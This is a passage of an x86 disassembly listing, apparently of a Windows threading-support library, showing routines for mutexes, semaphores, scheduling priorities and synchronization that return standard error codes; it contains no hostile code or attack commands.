; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433C30:				; CODE XREF: ___:004019E7j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433C55
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433C55
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+14h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433C55:				; CODE XREF: ___:00433C40j
					; ___:00433C48j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433C70	proc near		; CODE XREF: sub_401050j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_433CB5
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		jl	short loc_433CB0
		cmp	eax, 2
		jg	short loc_433CB0
		test	eax, eax
		jz	short loc_433C9C
		mov	eax, 30h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433C9C:				; CODE XREF: sub_433C70+23j
		mov	eax, [esp+4+arg_8]
		mov	ecx, [eax]
		push	ecx
		push	0
		push	esi
		call	sub_4020D1
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433CB0:				; CODE XREF: sub_433C70+1Aj
					; sub_433C70+1Fj
		mov	eax, 16h


loc_433CB5:				; CODE XREF: sub_433C70+12j
		pop	esi
		retn
sub_433C70	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433CE0	proc near		; CODE XREF: sub_4020D1j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		mov	[esp+0Ch+arg_8], esi
		call	sub_401555
		add	esp, 4
		cmp	esi, eax
		jl	loc_433D85
		push	edi
		call	sub_401442
		add	esp, 4
		cmp	esi, eax
		jg	short loc_433D85
		cmp	esi, 0FFFFFFF1h
		jle	short loc_433D20
		cmp	esi, 0FFFFFFFEh
		jge	short loc_433D20
		mov	[esp+8+arg_8], 0FFFFFFFEh
		jmp	short loc_433D32
; ---------------------------------------------------------------------------


loc_433D20:				; CODE XREF: sub_433CE0+2Fj
					; sub_433CE0+34j
		cmp	esi, 0Fh
		jge	short loc_433D32
		cmp	esi, 2
		jle	short loc_433D32
		mov	[esp+8+arg_8], 2


loc_433D32:				; CODE XREF: sub_433CE0+3Ej
					; sub_433CE0+43j ...
		mov	edi, [esp+8+arg_0]
		push	ebx
		push	ebp
		lea	ebp, [edi+24h]
		push	ebp
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_433D7E
		mov	eax, [esp+10h+arg_8]
		mov	ecx, [edi+4]
		push	eax
		push	ecx
		nop
		call	near ptr 27508F4h
		test	eax, eax
		jnz	short loc_433D72
		push	ebp
		mov	ebx, 16h
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433D72:				; CODE XREF: sub_433CE0+7Bj
		push	ebp
		mov	[edi+28h], esi
		call	sub_4010C3
		add	esp, 4


loc_433D7E:				; CODE XREF: sub_433CE0+68j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433D85:				; CODE XREF: sub_433CE0+19j
					; sub_433CE0+2Aj
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_433CE0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433DC0	proc near		; CODE XREF: sub_4021B2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_433DF9
		mov	ecx, [esp+4+arg_4]
		cmp	ecx, 2
		jbe	short loc_433DF4
		mov	eax, [esp+4+arg_8]
		test	eax, eax
		jz	short loc_433DF4
		mov	dword ptr [ecx], 0
		mov	ecx, [esi+28h]
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433DF4:				; CODE XREF: sub_433DC0+1Bj
					; sub_433DC0+23j
		mov	eax, 16h


loc_433DF9:				; CODE XREF: sub_433DC0+12j
		pop	esi
		retn
sub_433DC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433E10	proc near		; CODE XREF: sub_401442j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_433E23
		cmp	eax, 2
		jg	short loc_433E23
		mov	eax, 0Fh
		retn
; ---------------------------------------------------------------------------


loc_433E23:				; CODE XREF: sub_433E10+6j
					; sub_433E10+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_433E10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433E50	proc near		; CODE XREF: sub_401555j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_433E63
		cmp	eax, 2
		jg	short loc_433E63
		mov	eax, 0FFFFFFF1h
		retn
; ---------------------------------------------------------------------------


loc_433E63:				; CODE XREF: sub_433E50+6j
					; sub_433E50+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_433E50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433E90:				; CODE XREF: ___:00401ADCj
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433ED5
		nop
		call	near ptr 27508C5h
		cmp	esi, eax
		jz	short loc_433ED5
		push	esi
		push	0
		push	200h
		call	near ptr 2710000h
		nop
		test	eax, eax
		jnz	short loc_433ED5
		call	near ptr 27D0990h
		nop
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433ED5:				; CODE XREF: ___:00433E97j
					; ___:00433EA1j ...
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433EEE
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433EEE:				; CODE XREF: ___:00433EDBj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433F20:				; CODE XREF: ___:00401514j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433F65
		nop
		call	near ptr 27508C5h
		cmp	esi, eax
		jz	short loc_433F65
		push	esi
		push	0
		push	400h
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	short loc_433F65
		call	near ptr 27D0990h
		nop
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433F65:				; CODE XREF: ___:00433F27j
					; ___:00433F31j ...
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433F90:				; CODE XREF: ___:00401B5Ej
		push	0
		call	near ptr 2850369h
		nop
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433FB0	proc near		; CODE XREF: sub_401C8Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		test	eax, eax
		jz	short loc_433FCF
		mov	edi, 1
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433FCF:				; CODE XREF: sub_433FB0+Aj
		push	4
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433FE7
		mov	edi, 0Ch


loc_433FE7:				; CODE XREF: sub_433FB0+30j
		mov	eax, [esp+8+arg_8]
		push	0
		push	3FFFFFFFh
		push	eax
		push	0
		nop
		call	near ptr 275020Ah
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_434014
		mov	edi, 1Ch
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434014:				; CODE XREF: sub_433FB0+4Fj
		test	edi, edi
		jz	short loc_434026
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434026:				; CODE XREF: sub_433FB0+66j
		mov	ecx, [esp+8+arg_0]
		pop	edi
		xor	eax, eax
		mov	[ecx], esi
		pop	esi
		retn
sub_433FB0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434070	proc near		; CODE XREF: sub_401690j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		jz	short loc_434095
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_434095
		mov	dword ptr [edi], 0
		mov	eax, [esi]
		push	eax
		call	near ptr 2850BF4h
		nop
		test	eax, eax
		jnz	short loc_4340A7
		mov	[edi], esi


loc_434095:				; CODE XREF: sub_434070+8j
					; sub_434070+Ej
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4340A7:				; CODE XREF: sub_434070+21j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		retn
sub_434070	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4340E0	proc near		; CODE XREF: sub_4010A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_434113
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_434113
		mov	eax, [eax]
		push	0
		push	eax
		call	near ptr 2780469h
		nop
		cmp	eax, 102h
		jnz	short loc_434125
		mov	esi, 0Bh
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434113:				; CODE XREF: sub_4340E0+7j
					; sub_4340E0+Dj
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434125:				; CODE XREF: sub_4340E0+1Fj
		xor	eax, eax
		pop	esi
		retn
sub_4340E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434150	proc near		; CODE XREF: sub_401041j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_43417D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43417D
		mov	eax, [eax]
		push	eax
		call	sub_40164A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F0h, 1F74F685h,	0B146E890h, 3089777Eh, 5EFFC883h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_43417D:				; CODE XREF: sub_434150+7j
					; sub_434150+Dj
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_434150	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4341C0	proc near		; CODE XREF: sub_4018A7j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		test	ebp, ebp
		push	esi
		jnz	short loc_4341E3
		mov	esi, 16h
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		pop	esi
		or	eax, 0FFFFFFFFh
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4341E3:				; CODE XREF: sub_4341C0+Bj
		push	ebx
		push	edi
		mov	edi, [esp+1Ch+arg_4]
		test	edi, edi
		jnz	short loc_4341F2
		or	ebx, 0FFFFFFFFh
		jmp	short loc_434251
; ---------------------------------------------------------------------------


loc_4341F2:				; CODE XREF: sub_4341C0+2Bj
		lea	eax, [esp+1Ch+var_C]
		xor	ebx, ebx
		push	eax
		nop
		call	near ptr 77C49113h
		mov	ecx, [edi]
		mov	esi, [esp+20h+var_C]
		add	esp, 4
		cmp	ecx, esi
		jl	short loc_434251
		mov	edx, [edi+4]
		mov	eax, 431BDE83h
		add	edx, 7A120h
		mul	edx
		lea	eax, [ecx+ecx*4]
		lea	ecx, [esi+esi*4]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		sub	eax, ecx
		mov	ecx, [esp+1Ch+var_8]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jbe	short loc_434251
		sub	eax, ecx
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_434251
		dec	ebx


loc_434251:				; CODE XREF: sub_4341C0+30j
					; sub_4341C0+4Aj ...
		mov	edx, [ebp+0]
		push	ebx
		mov	eax, [edx]
		push	eax
		call	sub_401D84
sub_4341C0	endp

; ---------------------------------------------------------------------------
		db 83h,	0C4h, 8
		dd 0F685F08Bh, 11745B5Fh, 7EB04FE8h, 30899077h,	0FFC8835Eh
		dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h,	3 dup(90909090h)
		dd 10h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_4342D0	proc near		; CODE XREF: sub_40103Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_4342EF
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4342EF
		mov	eax, [eax]
		push	0
		push	1
		push	eax
		call	near ptr 2750000h
		nop
		test	eax, eax
		jnz	short loc_4342FF


loc_4342EF:				; CODE XREF: sub_4342D0+6j
					; sub_4342D0+Cj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4342FF:				; CODE XREF: sub_4342D0+1Dj
		xor	eax, eax
		retn
sub_4342D0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434320	proc near		; CODE XREF: sub_402068j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_434346
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_434346
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jle	short loc_434346
		mov	eax, [eax]
		push	0
		push	ecx
		push	eax
		call	near ptr 2750000h
		nop
		test	eax, eax
		jnz	short loc_434356


loc_434346:				; CODE XREF: sub_434320+6j
					; sub_434320+Cj ...
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_434356:				; CODE XREF: sub_434320+24j
		xor	eax, eax
		retn
sub_434320	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434370:				; CODE XREF: ___:0040143Dj
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jz	short loc_4343BD
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4343BD
		mov	edi, [esp+10h]
		test	edi, edi
		jz	short loc_4343BD
		mov	eax, [esi]
		push	0
		push	eax
		nop
		call	near ptr 2780469h
		cmp	eax, 102h
		jnz	short loc_4343A1
		xor	eax, eax
		mov	[edi], eax
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4343A1:				; CODE XREF: ___:00434398j
		mov	edx, [esi]
		lea	ecx, [esp+0Ch]
		push	ecx
		push	1
		push	edx
		call	near ptr 2750000h
		nop
		mov	eax, [esp+0Ch]
		inc	eax
		mov	[edi], eax
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4343BD:				; CODE XREF: ___:00434378j
					; ___:0043437Ej ...
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4343F0:				; CODE XREF: ___:0040222Fj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434410:				; CODE XREF: ___:00402031j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434430:				; CODE XREF: ___:00401CC6j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434450	proc near		; CODE XREF: sub_4019A1j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510940
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434484
		push	esi
		push	ecx
		call	sub_402211
		add	esp, 8
		mov	esi, eax
		push	offset dword_510940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434484:				; CODE XREF: sub_434450+17j
		test	eax, eax
		jnz	short loc_43448D
		mov	esi, 16h


loc_43448D:				; CODE XREF: sub_434450+36j
		push	offset dword_510940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_434450	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4344C0	proc near		; CODE XREF: sub_402211j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebp, edi
		mov	[esp+14h+var_4], edi
		jnz	short loc_4344DE
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4344DE:				; CODE XREF: sub_4344C0+11j
		lea	eax, [esp+14h+var_4]
		push	eax
		call	sub_401C3A
		mov	ebx, [esp+18h+arg_4]
		add	esp, 4
		test	eax, eax
		jz	short loc_434519
		mov	[esp+14h+var_4], 1


loc_4344FB:				; CODE XREF: sub_4344C0+5Ej
					; sub_4344C0+63j
		push	8
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_434530
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_434519:				; CODE XREF: sub_4344C0+31j
		cmp	[esp+14h+var_4], 1
		jle	short loc_4344FB
		cmp	ebx, 1
		jnz	short loc_4344FB
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 28h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_434530:				; CODE XREF: sub_4344C0+4Cj
		mov	eax, [esp+14h+var_4]
		cmp	eax, 1
		jle	short loc_43454D
		mov	[esi+4], eax
		mov	dword ptr [esi], 1
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43454D:				; CODE XREF: sub_4344C0+77j
		lea	ecx, [esp+14h+arg_0]
		push	ecx
		call	sub_401A1E
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_434583
		mov	edx, [esp+14h+arg_0]
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	[edx], ebx
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_434583
		mov	dword ptr [esi], 3


loc_434583:				; CODE XREF: sub_4344C0+9Ej
					; sub_4344C0+BBj
		lea	edx, [esp+14h+arg_0]
		push	edx
		call	sub_4010AA
		add	esp, 4
		test	edi, edi
		jnz	short loc_43459F
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43459F:				; CODE XREF: sub_4344C0+D2j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, edi
		mov	dword ptr [ebp+0], 0
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4344C0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434600:				; CODE XREF: ___:00401109j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		xor	ebx, ebx
		test	edi, edi
		jz	loc_4346A5
		mov	esi, [edi]
		test	esi, esi
		jz	loc_4346A5
		cmp	esi, 0FFFFFFFFh
		jz	short loc_434668
		cmp	dword ptr [esi], 3
		jnz	short loc_43464D
		lea	eax, [esi+4]
		push	eax
		call	sub_402252
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_43469F


loc_434637:				; CODE XREF: ___:0043465Bj
		push	esi
		mov	dword ptr [edi], 0
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43464D:				; CODE XREF: ___:00434623j
		push	1
		push	0
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 1
		jz	short loc_434637
		mov	ebx, 16h
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_434668:				; CODE XREF: ___:0043461Ej
		push	offset dword_510940
		call	near ptr 7C901005h
		nop
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_43468F
		push	offset dword_510940
		mov	dword ptr [edi], 0
		call	near ptr 7C9010EDh
		nop
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43468F:				; CODE XREF: ___:00434676j
		push	offset dword_510940
		mov	ebx, 10h
		nop
		call	near ptr 7C9010EDh


loc_43469F:				; CODE XREF: ___:00434635j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4346A5:				; CODE XREF: ___:0043460Bj
					; ___:00434615j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4346E0:				; CODE XREF: ___:004021E4j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_434741
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_434741
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434701
		push	esi
		call	sub_4019A1
		add	esp, 4
		test	eax, eax
		jnz	short loc_434746


loc_434701:				; CODE XREF: ___:004346F2j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 2
		jnz	short loc_434723


loc_434713:				; CODE XREF: ___:00434721j
		push	1
		push	2
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 2
		jz	short loc_434713


loc_434723:				; CODE XREF: ___:00434711j
		mov	eax, [esi]
		cmp	eax, 2
		jnz	short loc_43472E
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43472E:				; CODE XREF: ___:00434728j
		cmp	eax, 3
		jnz	short loc_434741
		add	esi, 4
		push	esi
		call	sub_402248
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434741:				; CODE XREF: ___:004346E7j
					; ___:004346EDj ...
		mov	eax, 16h


loc_434746:				; CODE XREF: ___:004346FFj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434770:				; CODE XREF: ___:00401AB9j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	short loc_4347B1
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4347B1
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_43478B


loc_434784:				; CODE XREF: ___:00434797j
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43478B:				; CODE XREF: ___:00434782j
		push	2
		push	1
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		dec	eax
		jz	short loc_434784
		dec	eax
		jz	short loc_4347AD
		dec	eax
		jnz	short loc_4347B1
		add	esi, 4
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4347AD:				; CODE XREF: ___:0043479Aj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4347B1:				; CODE XREF: ___:00434777j
					; ___:0043477Dj ...
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4347E0:				; CODE XREF: ___:00401942j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_434830
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_434830
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434801
		push	esi
		call	sub_4019A1
		add	esp, 4
		test	eax, eax
		jnz	short loc_434835


loc_434801:				; CODE XREF: ___:004347F2j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		dec	eax
		jz	short loc_43482C
		dec	eax
		jz	short loc_434825
		dec	eax
		jnz	short loc_434830
		add	esi, 4
		push	esi
		call	sub_401785
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434825:				; CODE XREF: ___:00434812j
		mov	eax, 10h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43482C:				; CODE XREF: ___:0043480Fj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434830:				; CODE XREF: ___:004347E7j
					; ___:004347EDj ...
		mov	eax, 16h


loc_434835:				; CODE XREF: ___:004347FFj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434860:				; CODE XREF: ___:00401244j
		push	esi
		mov	esi, [esp+8]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_43488C
		mov	eax, [esi+20h]
		mov	ecx, 1
		cmp	eax, ecx
		jnz	short loc_434887
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434887:				; CODE XREF: ___:0043487Ej
		xor	eax, eax
		mov	[esi+20h], ecx


loc_43488C:				; CODE XREF: ___:00434872j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4348A0	proc near		; CODE XREF: sub_401767j

